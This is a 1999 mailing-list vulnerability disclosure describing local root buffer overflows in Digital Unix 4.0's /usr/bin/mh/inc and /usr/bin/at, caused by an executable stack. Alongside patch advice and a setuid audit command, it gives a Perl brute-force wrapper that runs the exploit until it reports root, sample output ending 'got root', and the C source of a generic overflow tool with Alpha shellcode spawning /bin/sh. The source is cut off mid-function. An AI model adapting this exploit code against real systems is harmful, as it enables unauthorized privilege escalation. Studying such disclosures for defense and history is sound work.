Date: Mon, 1 Feb 1999 13:41:25 -0800 From: Lamont Granquist Subject: Digital Unix Buffer Overflows: Exploits Here is the long awaited exploit script. I am interested in any other buffer overflow holes which people find in Digital Unix. Please see my previous post, though, about what you need to do first before dropping me some e-mail (in particular you need to at least get a 0x61616161616160 out of gdb -- read my previous post). 31337 s#0u7s + g4337$ t0: Jim Paris for bringing to my attention that DU4.0D had an exec stack and for suggestions for the shellcode. Dave Dittrich at UW C&C for tons of help and the 'doit' script. Digital for a pretty decent O/S, even if it isn't open source. Here's hoping that Compaq doesn't screw it up.A big bummer to: CERT for never answering any of my e-mail. ---------------------------------------------------------------------------- In a Nutshell: 1. DU4.0 has stack execute permissions 2. there exists an exploitable buffer overflow in /usr/bin/mh/inc in DU4.0D patch_kit 2 3. older unpatched systems may have other holes, ex: /usr/bin/at in DU4.0B. 4. exploit code for 2 and 3 are included. ---------------------------------------------------------------------------- The General Problem: Digital (now Compaq) turned on the executable bits on the stack and the heap for Digital Unix 4.0x. The result is that it is now reasonably easy to write a buffer overflow for Digital Unix, following the guidelines of Aleph1's "smashing the stack" Phrack article. Previous versions of Digital Unix (tested on 3.2C) were not vulnerable to simple buffer overflows since neither the stack nor the heap were executable. It is likely that this choice by Digital to turn on the executable bits in data areas is driven by either Java compilers or the need for trampolines to work correctly (see Solar Designer's stack executable patch for Linux). Unfortunately, this makes the OS significantly easier to write buffer overflows for. It is likely that exploitable buffer overflow bugs exist in versions of Digital Unix such as 3.2C which don't have stack execute permissions, but the exploitation of these bugs will be significantly harder. The return-into-libc method of attack[1,2] may work against 3.x version of Digital Unix, therefore 3.x system administrators should not feel a false sense of security. [1] http://www.netspace.org/cgi-bin/wa?A2=ind9708B&L=bugtraq&P=R578 Subject: Getting around non-executable stack (and fix) From: Solar Designer [2] http://www.netspace.org/cgi-bin/wa?A2=ind9802A&L=bugtraq&P=R345 Subject: Defeating Solar Designer non-executable stack patch From: Rafal Wojtczuk The Implications: It should be possible to adapt most of the popular buffer overflows in other O/Ses to Digital Unix. In particular, the remote buffer overflows for named, statd and ttdbserverd should be adaptable to Digital Unix in principle. Locally exploitable buffer overflows such as the at and xlock bugs should also be adaptable to Digital Unix. An example (/usr/bin/at) is given below, along with a new (AFAIK) exploit of /usr/bin/mh/inc.The General Fix: Stay up-to-date on patches released by Digital^H^H^H^H^H^H^HCompaq. The Digital Unix patch kits are available at: ftp://ftp.service.digital.com/public/dunix/ The files that you want are the reasonably large ones that start out with something like "DUV40DAS00002" (for DU4.0D patch kit 2). Digital appears to do a reasonable job at staying up-to-date on security problems reported in other O/Ses. For example, they've got patches for statd, and ttdbserverd, along with having apparently fixed the /usr/bin/at problem somewhere between DU4.0B and DU4.0D. Worrisome Things: Try this as root: # find / -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \; # find /usr -xdev \( -perm -4000 -o -perm -2000 \) -exec ls -la \{\} \; You should take particular note of: -rwsr-s--- 1 root system 13860864 Dec 9 1997 /usr/opt/pm/bin/pmgr -r-sr-xr-x 1 root bin 8921088 Sep 24 1997 /usr/bin/ladebug Personally, a meg or so of suid root code makes me jittery. I tried to bang on these programs a little bit to find a buffer overflow, but failed. I strongly expect that this is only due to a lack of trying. I haven't looked at /tmp symlink attacks or anything of the sort, either. It's gotta be there. I suggest employing chmod ug-s. ---------------------------------------------------------------------------- Specific Problem: /usr/bin/at in DU4.0B This is pretty simple. Compile smashdu.c below and execute it with the command line arguments of: % ./smashdu 1022 2 56 /usr/bin/at %e using 1022 2 56 putting overflow code into argv[1] # On unpatched DU4.0B this should give you root (as shown). In DU4.0D /usr/bin/at can be made to coredump, but it does not appear to be easily exploitable (see above for discussion of return-into-libc attacks). ---------------------------------------------------------------------------- Specific Problem: /usr/bin/mh/inc in DU4.0D w/patch kit 2 This problem exists in DU4.0D w/patch kit 2. It's a little bit more involved than the run-of-the-mill buffer overflow, however. The size of the buffer appears to depend on parameters such as the length of the person's username and possibly other factors. The result is that we need to wrap 'smashdu' in a little script to try different buffer lengths and offsets into the stack. The script looks like: #!/usr/local/bin/perl$n=8175;foreach $j (1..1000) { foreach $i (0..7) { $x = $n + $j; printf("%d %d\n",$x,$i); $cmd = "./smashdu 1013 $i $x /usr/bin/mh/inc +foo -audit %e foo"; open(S,"echo id | $cmd 2>&1|") || die "can't open pipe: $?\n"; while () { if (m|uid=0|) { print "got root with '$cmd'\n"; exit(0); } } close(S); }}exit(0); When this script runs it typically looks something like the below. It should run for awhile with no errors, then start throwing faults then finally give the command line args to 'smashdu' which will work. If it starts faulting immediately and then seems to run forever, then try adjusting the starting number in the script (8176) downwards. The output below is typical.% ./doit8176 08176 18176 28176 38176 48176 58176 6 8176 78177 08177 18177 28177 38177 48177 58177 68177 78178 08178 18178 28178 3 8178 48178 58178 68178 78179 0sh: 20897 Memory fault8179 1sh: 20601 Memory fault 8179 2sh: 20216 Memory fault8179 3sh: 20942 Memory fault8179 4 sh: 20861 Memory fault8179 5sh: 20548 Memory fault8179 6sh: 20639 Memory fault 8179 7sh: 20571 Memory fault8180 0sh: 20890 Illegal instruction8180 1 sh: 20929 Illegal instruction8180 2sh: 20994 Illegal instruction8180 3 sh: 17810 Illegal instruction8180 4sh: 20898 Illegal instruction8180 5 sh: 20651 Illegal instruction8180 6sh: 430 Illegal instruction8180 7 sh: 3621 Illegal instruction8181 0sh: 20760 Illegal instruction8181 1 sh: 20832 Illegal instruction8181 2sh: 20920 Illegal instruction8181 3 sh: 20933 Illegal instruction8181 4sh: 13099 Illegal instruction8181 5 sh: 20179 Illegal instruction8181 6sh: 19680 Illegal instruction8181 7 sh: 19839 Illegal instruction8182 0sh: 19824 Memory fault8182 1 sh: 19901 Memory fault8182 2sh: 4701 Memory fault8182 3sh: 107 Memory fault 8182 4sh: 19347 Memory fault8182 5sh: 20610 Memory fault8182 6 sh: 20946 Memory fault8182 7sh: 19815 Memory fault8183 0sh: 19775 Memory fault 8183 1sh: 20532 Memory fault8183 2sh: 20996 Memory fault8183 3 sh: 20964 Memory fault8183 4sh: 20676 Memory fault8183 5sh: 31924 Memory fault 8183 6sh: 20892 Memory fault8183 7sh: 20853 Memory fault8184 0 sh: 20986 Illegal instruction8184 1sh: 15606 Illegal instruction8184 2 got root with './smashdu 1013 2 8184 /usr/bin/mh/inc +foo -audit %e foo' Enjoy. ---------------------------------------------------------------------------- THE CODEHow it works: The following example code should be a pretty decent toolkit for doing buffer overruns on DU4.0x. The buffer overflow itself is pretty kludgy and is contained in the genshellcode() function and in the rawcode[] buffer. The entry point to the shellcode is in the middle of the shellcode, *not* at the beginning, so that I can do a branch backwards (offset is negative -- e.g. 0xffed, instead of positive -- e.g. 0x0038) which avoids a zero in the shellcode. Therefore genshellcode() has to be a little bit more convoluted and has to modify the ending branch instruction. The shellcode itself is a little bit nutty in order to avoid all those nulls. Avoiding nulls is a real pain. The call_pal instruction (part of exec("/bin/sh")) has a bunch of unavoidable nulls and the "/bin/sh" itself has an unavoidable null -- the xors are for taking care of things like that. It also uses offsets of about 0x140 to avoid nulls in the first byte of the offset. I'm not an alpha assembly language hacker, so this thing might be able to be done better and tighter. Right now it must be at least 80 bytes in length. The shellcode gets dumped into an environment variable, similarly to Aleph1's code in his phrack article. You can also specify command line arguments of the form '-e "DISPLAY=foo:0.0"' (ex) if you need additional ones. It then takes the shellcodesize (size on the heap where the shellcode gets stuck -- 80 is the minimum -- this is not the buffer that gets overflowed -- 1024 is probably a good value), then the padding (a value from 0..7 which adjusts the shellcode so that it is on a 64-bit word boundary since env variables are not aligned at all), then the size of the buffer overflow. The buffer overflow currently fills the buffer with 'a' (0x61) characters and then the ra. The ra can be changed with the '-r' argument -- remember to avoid nulls in the ra. Then you simply give command line arguments as you would normally to run the program you are trying to overflow where a single %e will get substituted by the buffer overflow. ex: ./smashdu -e "DISPLAY=foo:0.0" 1024 0 1501 /usr/bin/X11/xterm -fg %e (which nearly works -- i can't figure it out -- 1501 is too long while 1500 is too short -- Digital Unix 4.0B, unpatched).The Code: smashdu.c /* smashdu.c generic buffer overflow C 'script' for DU4.x (4.0B, 4.0D, ???) Lamont Granquist lamontg@hitl.washington.edu lamontg@u.washington.edu Tue Dec 1 11:22:03 PST 1998 gcc -o smashdu smashdu.c */#define MAXENV 30 #define MAXARG 30#include #include #include #include /* shellcode = 80 bytes. as the entry to this shellcode is at offset+72 bytes it cannot be simply padded with nops prior to the shellcode. */ int rawcode[] = { 0x2230fec4, /* subq $16,0x13c,$17 */ 0x47ff0412, /* clr $18 */ 0x42509532, /* subq $18, 0x84 */ 0x239fffff, /* xor $18, 0xffffffff, $18 */ 0x4b84169c, 0x465c0812, 0xb2510134, /* stl $18, 0x134($17) */ 0x265cff98, /* lda $18, 0xff978cd0 */ 0x22528cd1, 0x465c0812, /* xor $18, 0xffffffff, $18 */ 0xb2510140, /* stl $18, 0x140($17) */ 0xb6110148, /* stq $16,0x148($17) */ 0xb7f10150, /* stq $31,0x150($17) */ 0x22310148, /* addq $17,0x148,$17 */ 0x225f013a, /* ldil $18,0x13a */ 0x425ff520, /* subq $18,0xff,$0 */ 0x47ff0412, /* clr $18 */ 0xffffffff, /* call_pal 0x83 */ 0xd21fffed, /* bsr $16,$l1 ENTRY */ 0x6e69622f, /* .ascii "/bin" */ /* .ascii "/sh\0" is generated */}; int nop = 0x47ff041f;int shellcodesize = 0;int padding = 0; int overflowsize = 0;long retaddr = 0x11fffff24;void usage(void) { fprintf(stderr, "smashdu [-e ] [-r ] "); fprintf(stderr, "shellsize pad bufsize \n"); fprintf(stderr, " -e: add a variable to the environment\n"); fprintf(stderr, " -r: change ra from default 0x11fffff24\n"); fprintf(stderr, " shellsize: size of shellcode on the heap\n"); fprintf(stderr, " pad: padding to alighn the shellcode correctly\n"); fprintf(stderr, " bufsize: size of the buffer overflow on the stack\n"); fprintf(stderr, " cmdargs: %%e will be replaced by buffer overflow\n"); fprintf(stderr, "ex: smashdu -e \"DISPLAY=foo:0.0\" 1024 2 888 "); fprintf(stderr, "/foo/bar %%e\n"); exit(-1);} /* this handles generation of shellcode of the appropriate size and with appropriate padding bytes for alignment. the padding argument should typically only be 0,1,2,3 and the routine is "nice" in that if you feed it the size of your malloc()'d buffer it should prevent overrunning it by automatically adjusting the shellcode size downwards. */ int genshellcode(char *shellcode, int size, int padding) { int i, s, n; char *rp; char *sp; char *np; rp = (char *)rawcode; sp = (char *)shellcode; np = (char *)&nop; s = size; if (size < (80 + padding)) { fprintf(stderr, "cannot generate shellcode that small: %d bytes, "); fprintf(stderr, "with %d padding\n", size, padding); exit(-1); } /* first we pad */ for(i=0;i 8; s--, i++) { *sp = np[i % 4]; sp++; } n = i / 4; /* n == number of nops */ /* then we add the tail 2 instructions */ for(i=0; i < 8; i++) { *sp = rp[i+72]; if(i==0) /* here we handle modifying the branch instruction */ *sp -= n; *sp++; }}int main(argc, argv) int argc; char *argv[];{ char *badargs[MAXARG]; char *badenv[MAXENV]; long i, *ip, p; char *cp, *ocp; int c, env_idx, overflow_idx; env_idx = 0; while ((c = getopt(argc, argv, "e:r:")) != EOF) { switch (c) { case 'e': /* add an env variable */ badenv[env_idx++] = optarg; if (env_idx >= MAXENV - 2) { fprintf(stderr, "too many envs, "); fprintf(stderr, "try increasing MAXENV and recompiling\n"); exit(-1); } break; case 'r': /* change default ra */ sscanf(optarg, "%x", &retaddr); break; default: usage(); /* NOTREACHED */ } } if (argc - optind < 4) { usage(); } shellcodesize = atoi(argv[optind++]); padding = atoi(argv[optind++]); overflowsize = atoi(argv[optind++]); printf("using %d %d %d\n", shellcodesize, padding, overflowsize); /* copy the args over from argv[] into badargs[] */ for(i=0;i<29;i++) { if (strncmp(argv[optind], "%e", 3) == 0) { /* %e gets the shellcode */ badargs[i] = malloc(overflowsize); overflow_idx = i; optind++; } else { badargs[i] = argv[optind++]; } if (optind >= argc) { i++; break; } } badargs[i] = NULL; if (optind < argc) { fprintf(stderr, "too many args, try increasing MAXARG and recompiling\n"); exit(-1); } printf("putting overflow code into argv[%d]\n", overflow_idx); cp = badargs[overflow_idx]; for(i=0;i